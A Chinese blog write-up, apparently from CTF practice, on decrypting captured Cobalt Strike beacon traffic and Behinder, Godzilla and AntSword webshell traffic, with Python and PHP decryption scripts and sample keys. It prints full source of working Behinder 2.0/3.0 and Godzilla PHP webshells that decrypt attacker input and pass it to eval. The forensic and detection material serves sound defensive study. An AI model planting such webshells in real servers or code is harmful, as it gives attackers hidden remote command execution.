最近做到比较多的webshell的题目,还遇到了cs流量,感觉比较有趣,索性简单写一篇文章总结一下他们的解密方式
由于webshell类型太多,这里不具体阐述每种webshell的加密原理,相对来说网上类似解析文章不少,主要讲解一下每种流量的解密过程
感谢byxs20贡献的demo文件与部分脚本 Orz
文章目录
CobalStrike流量-beacon模式
关于Cobalt Strike和其他cs组件方面的知识:Cobalt Strike | Defining Cobalt Strike Components & BEACON
流量特征
一些比较普遍但不绝对的特征点
https-beacon通信中,cs默认使用空证书建立加密通道,流量中可以看见这一过程。
同时在 https 协议的 Client Hello 和 Server Hello 阶段,都包含了 JA3S 值传输过程过程中会有 ja3,这个值在系统上是固定的,win10是一种的 但win11是另一种 他们取决于操作系统
http-beacon通信中,默认使用get方法向/dpixel
、/__utm.gif
、/pixel.gif
等地址发起请求
同时get读文件时cookie是一串base64的值,这是cs流量的元数据(后面解密会用)
下发指令过程
POST /submit.php?id=一串数字
post一串0000开头的data,这是cs流量的发送任务数据(下面也会用到)
基于做题(不算特征):基于ctf本身,由于cs流量解密时需要RSA公私钥对,相关信息存储着.cobaltstrike.beacon_keys
文件内,所以题目大概率会在流量里以各种形式给出这个文件
这个文件的本质是一个java序列化后的字节流
关于流量解密
- 解
.cobaltstrike.beacon_keys
得到公私钥,主要是需要私钥
项目地址: Slzdude/cs-scripts: 研究CobaltStrike时的一些副产品 (github.com)
- 通过私钥,
Beacon_metadata_RSA_Decrypt.py
解cs元数据(即cookie值)
但这里可能会遇到一些问题,这个脚本调用了M2Crypto
库,但这个库已经n年没有被维护过了,安装这个库需要用到swig,windows下配了环境变量似乎也不太行
可以放到linux里
sudo apt install libssl-dev swig
pip3 install M2Crypto
即可安装成功
可以从中解出AES key和HMAC key
- 利用AES key和HMAC key,
Beacon_Task_return_AES_Decrypt.py
解密发送任务数据
其中任务数据这里需要做一个base64加密的操作
成功解密返回数据
改良了一下脚本
为了解决M2Crypto库在windows上装不好的问题,在byxs20帮助下,直接改用Crypto库去解析以及导入公私钥解密,并且把获取私钥与解密AES key和HMAC key放一起
import base64
import hexdump
import hashlib
import argparse
import javaobj.v2 as javaobj
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
def parse_arguments():
parser = argparse.ArgumentParser()
parser.add_argument("-f", type=str, default=None, required=True,
help="输入JAVA序列化文件 .cobaltstrike.beacon_keys 路径")
return parser.parse_args()
def get_RSA_PriKey(SerializeKeyPath):
with open(SerializeKeyPath, "rb") as fd:
pobj = javaobj.load(fd)
privateKey = pobj.array.value.privateKey.encoded.data
publicKey = pobj.array.value.publicKey.encoded.data
privateKey = (
b"-----BEGIN PRIVATE KEY-----\n"
+ base64.encodebytes(bytes(map(lambda x: x & 0xFF, privateKey)))
+ b"-----END PRIVATE KEY-----"
)
publicKey = (
b"-----BEGIN PUBLIC KEY-----\n"
+ base64.encodebytes(bytes(map(lambda x: x & 0xFF, publicKey)))
+ b"-----END PUBLIC KEY-----"
)
privateKey = privateKey.decode()
publicKey = publicKey.decode()
return publicKey, privateKey
def create_PK_Cipher(privateKey):
privateKey = RSA.import_key(privateKey.encode())
n_bytes = privateKey.n.bit_length() // 8
cipher = PKCS1_v1_5.new(privateKey)
return cipher, n_bytes
def private_decrypt(cipher_text, privateKey):
cipher, n_bytes = create_PK_Cipher(privateKey)
cipher_text = base64.b64decode(cipher_text.encode())
return b''.join(
cipher.decrypt(cipher_text[i : i + n_bytes], 0)
for i in range(0, len(cipher_text), n_bytes)
)
def get_AES_HMAC_Key(SerializeKeyPath, rsa_cipher_text):
_, privateKey = get_RSA_PriKey(SerializeKeyPath)
if not (plain_text := private_decrypt(rsa_cipher_text, privateKey)):
print("[+]: 解密错误, 可能是RSA_Cipher_Text或者密钥有误!")
exit(-1)
raw_aes_keys = plain_text[8:24]
raw_aes_hash256 = hashlib.sha256(raw_aes_keys)
digest = raw_aes_hash256.digest()
aes_key = digest[:16]
hmac_key = digest[16:]
return aes_key, hmac_key, plain_text
if __name__ == '__main__':
args = parse_arguments()
SerializeKeyPath = args.f
rsa_cipher_text = "U8jm3+oqzYLuUiRd9F3s7xVz7fGnHQYIKF9ch6GRseWfcBSSk+aGhWP3ZUyHIkwRo1/oDCcKV7LYAp022rCm9bC7niOgMlsvgLRolMKIz+Eq5hCyQ0QVScH8jDYsJsCyVw1iaTf5a7gHixIDrSbTp/GiPQIwcTNZBXIJrll540s="
aes_key, hmac_key, plain_text = get_AES_HMAC_Key(SerializeKeyPath, rsa_cipher_text)
print(f"AES key: {aes_key.hex()}")
print(f"HMAC key: {hmac_key.hex()}")
hexdump.hexdump(plain_text)
冰蝎流量
最常见的冰蝎php
先讲一下冰蝎2与冰蝎3,这两个相对来说比较相似
流量特征:
没什么特别强的特征
ua,content-type,content-length等等都有点弱特征
从做题本身角度来说,POST请求和返回包都是AES后的base64
冰蝎2.0加密脚本:
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
//这里如果接收到get请求的pass参数
{
$key=substr(md5(uniqid(rand())),16);
//生成16位的随机秘钥用md5加密
$_SESSION['k']=$key;
//将上方生成的KEY存储到SEESSION中
print $key;
}
else
//如果没接收到pass参数,利用存储的KEY进行解密
{
$key=$_SESSION['k'];
//接收执行的命令
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
//使用oppenssl进行AES128加密(这里要注意他用的AES128解密的时候也需要用这个)
{
$post=openssl_decrypt($post, "AES128", $key);
}
//将解密后的$post以'|'分割为数组。
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p) {eval($p."");}}
//创建C类,利用__construct中的eval来执行解密后的值
@new C($params);
}
?>
冰蝎3.0加密脚本:
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
对比可知,整体加密逻辑基本一致,只是key略有不同,冰蝎2的key是随机生成的,冰蝎3的key是设定好的
加密逻辑整体比较简单,就是一个AES CBC然后base64
至于解密也是比较简单的,照着逻辑逆一下就行,主要需要得到key值,其中iv是全0填充
解密
请求包的解密
里面内容再解一次base64
解出来的数据结尾即是命令执行的部分
返回包的解密
第一部分解密同请求包
status是状态
message即是命令执行的结果
注意事项
这里有一个点,前两个请求包解出来变量content和whatever,里面部分暂不能很有效的解出明文
盲猜是冰蝎在连接时与目标机器建立一个通讯确认/读取配置文件/配置环境的过程
而他们对应的response返回包的message解出来的内容恰好就是content和whatever变量值
python解密
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64
def aes_decrypt_cbc(ciphertext, key, iv):
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext)
plaintext = unpad(plaintext, AES.block_size)
return plaintext
ciphertext_base64 = b'uU7xO0V/KGySO6rdSlEw/dQXFklZWZn1EMhiAAoH7WPgcZi0gqTYodGuKeZEwtv2Gw1H/AgTwH2yV+Ix3A5QEhB3qHn5V1mOdSHC5dBkMmn6niKXQvCEsFi00fJXrxuXI9KhhR14BXCxYfRnA1KDjQ=='
ciphertext = base64.b64decode(ciphertext_base64)
key = b'7d7c23e87b47368b'
iv = b'\x00' * 16 # 16 bytes of zeros
plaintext = aes_decrypt_cbc(ciphertext, key, iv)
print(plaintext)
冰蝎java
请求包的解密
跟php不同的是shell是用java写的,请求包解出来是个java的class文件,同时用的是AES ECB(但不一定绝对,试具体情况而定)
本示例中流0找到key的值和加密方式
AES ECB解出来个class文件
可以直接用jadx反编译,发现最下面其实就记录了具体的加密方式
这里开头发现是做了一个echo字符串的操作
返回包的解密
返回包部分并没有进行base64加密,是直接传raw原始数据
可以这样快速复制出指定hex
解密结果也是msg+status(input记得改成hex)
跟请求包的class执行结果对上了
命令执行过程
再往后解一个包,演示一下命令执行过程
单单看方法名也可以看出来是一些对文件夹和文件的查看、移动、创建、修改、下载操作
传入的mode和path参数就是具体命令执行的内容,应该是查看了root目录下的所有内容,类似于ls
解一下返回包
这里就选其中一条再具体解了一下
总结
根据shell类型还有另外两种aspx与asp,整体做法与php如出一辙
同时除了常见的aes,还有xor的加密方式,但相对较为简单
为防止特征点检测有时还会在数据尾部加上magic冗余,但并不影响解密
总的来说冰蝎一般根据其加密脚本较为容易逆向解密
哥斯拉流量
哥斯拉php
以西湖论剑misc2 take_the_zip_easy为例
特征
不考虑直接找到加密脚本外,哥斯拉最大的特征也是来自于其加密原理,返回包的数据前后十六位都是固定的哈希值
加密脚本:
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='air123';
$payloadName='payload';
$key='d8ea7326e6ec5916';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
从加密脚本可以看出,哥斯拉主要就是用了一个异或加密的方式,根据其对称性其加密函数其实也是解密函数
其中pass变量的值是webshell的连接密码,也就是命令执行的变量名
请求包的解密
<?php
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$key='d8ea7326e6ec5916';
echo encode(base64_decode(urldecode("VQAVX1xWeARbAGExOTE2EF0WFQ%3D%3D")),$key);
返回包的解密
可以看到
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
返回包的数据前后都加了16位的冗余字节,需要做一个切片操作
直接解密会乱码,参考哥斯拉还原加密流量_ctf misc 哥斯拉流量解密脚本_VVeaker的博客-CSDN博客可以知道需要加上一个gzdecode()
<?php
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$key='d8ea7326e6ec5916';
# echo encode(base64_decode(urldecode("VQAVX1xWeARbAGExOTE2EF0WFQ%3D%3D")),$key);
$response = substr("ca19adef3b7a8ce7J+5pNzMyNmU2Zqj6PzFxueQcYzczMg==b2e56eb02f8c2a4d", 16, -16);
echo gzdecode(encode(base64_decode($response),$key));
python脚本
import gzip
import base64
import urllib.parse
def encode(D, K):
D = list(D)
for i in range(len(D)):
c = K[i + 1 & 15]
D[i] = D[i] ^ c
return bytes(D)
key = b"d8ea7326e6ec5916"
request = urllib.parse.unquote("VQAVX1xWeARbAGExOTE2EF0WFQ%3D%3D")
out = encode(base64.b64decode(request), key)
print(out)
response = "ca19adef3b7a8ce7J+5pNzMyNmU2Zqj6PzFxueQcYzczMg==b2e56eb02f8c2a4d"[16:-16]
out = encode(base64.b64decode(response), key)
print(gzip.decompress(out))
cyberchef
因为是$K[$i+1&15]
,所以key第一位要移到最后一位
哥斯拉java
哥斯拉java相对来说没那么难
以[第二届陇剑杯]hard_web为例
先在http流里找到key和加密过程,也就是一个aes+gzip
cyberchef
python
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import gzip
def aes_decrypt_ecb(ciphertext, key):
cipher = AES.new(key, AES.MODE_ECB)
plaintext = cipher.decrypt(ciphertext)
plaintext = unpad(plaintext, AES.block_size)
return plaintext
ciphertext = bytes.fromhex("c031764499c06f1a50c1bfa873dcdb43a869c5b6ce397e5955867937420f17129fe2542ddbb28be1e391392a54f7bc27c7e037e38f620ef32805322a0194a7f0492f65fe1b2581ddc65290954b38e66b9169a521b2d8b452fc4ae0431fa4fce4a44d7ebb102bbc29b9dc584efb7230daf66b7388c4105011b2d0a113f18e9f6943b249e03a6d52eaf6168cc8408c891339e4fbc9f576f58649fce42e8a8e3610d27018837de4697a9a0dd24ad3fbb214b41dc1167ff4879e0478836bd0679f527970b39e5497f6dd2546889ab1eb00396d73df3ae61917b64b550a3bf271edd87d4cd8f7c9e6d693255e4fada4f6ec7391868401cce4f01ec6de17641be506d9298dc5d812da59607b59b1ab21b9063b47b570bbb1e2e45a249028aa5da49c31ec4a117b96f1638d9e53c3893c01870381fa17082c602f421614984506a1855809996c00599009cd6e17532ed5d2f957b86f1210e431ec86a77d953e5164a6984db0a674c50b383014371d6248e6d63210291388950f95c4e869f9accb9b16b3f0697bc1623644d3c7a7462597a4a3bddc43fe606831acdaa341def8a28eb4cced0b4c8a552674054927368625959d957093443199fa614e98147f5805498a59a6a1feb9858963ec12510024aebd4a5b923b43530bc3c33caedd0ca34b83b28d4a4934036c600d8449f3de88a4ae12a879f3b156fbe7ba5fee3cbb8c59365d417c9931f6a43a70320ce360633b50d85103e2de4539bcb87e7a5ad3bfaf09b40e667a64bdce1e85ac0c49ab6bc5e56899c9269f5e1be451deb7cc276dd2780197fdbae6631f2dab7586b8aa25a57662cbaaef13c69aeafac978327b106b81359217bb0241c8844b1c53304de71149b2694d1641aea51a05c8d21bc44ea5db1696e2acead585e20718884535efda9fae39")
key = b'748007e861908c03'
plaintext = aes_decrypt_ecb(ciphertext, key)
print(gzip.decompress(plaintext).decode("UTF-8"))
蚁剑/菜刀流量
这个相对来说是最常见的类型了,扔最后面带过一下
推荐用这个在线URL解码编码工具_蛙蛙工具 (iamwawa.cn)解url,可以按变量分开
最常见的一句话木马
最长的一段变量解base64后是一堆固定的配置信息
下面两个变量一个是路径一个是命令执行
蚁剑在传输时会做简单的免杀,在base64字符串的开头加若干位的随机字符
这里删除开头的两个字符即可成功解开
具体冗余字符数不固定,需要不断尝试,且也有可能在字符串末尾加上冗余字符
返回包同理,首末删除若干冗余字符至成功解密即可
删除时可以考虑一下base64分组加密原理,密文一定是4的倍数
文章所涉及的demo下载地址:https://pan.baidu.com/s/1xanaXbfhrL34-yhyExo0yg?pwd=ggho